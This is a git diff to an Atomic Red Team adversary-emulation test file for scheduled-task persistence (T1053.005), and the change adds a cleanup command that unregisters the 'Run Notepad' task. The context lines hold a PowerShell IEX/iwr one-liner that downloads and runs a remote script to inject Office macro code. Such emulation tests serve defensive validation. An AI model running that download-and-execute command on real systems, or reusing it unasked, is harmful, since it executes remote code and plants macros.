diff --git a/atomics/T1053.005/T1053.005.yaml b/atomics/T1053.005/T1053.005.yaml index 87c10cf3..4ba6dccf 100644 --- a/atomics/T1053.005/T1053.005.yaml +++ b/atomics/T1053.005/T1053.005.yaml @@ -127,6 +127,8 @@ atomic_tests: IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler" name: powershell + cleanup command : | + Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false - name: WMI Invoke-CimMethod Scheduled Task auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b description: |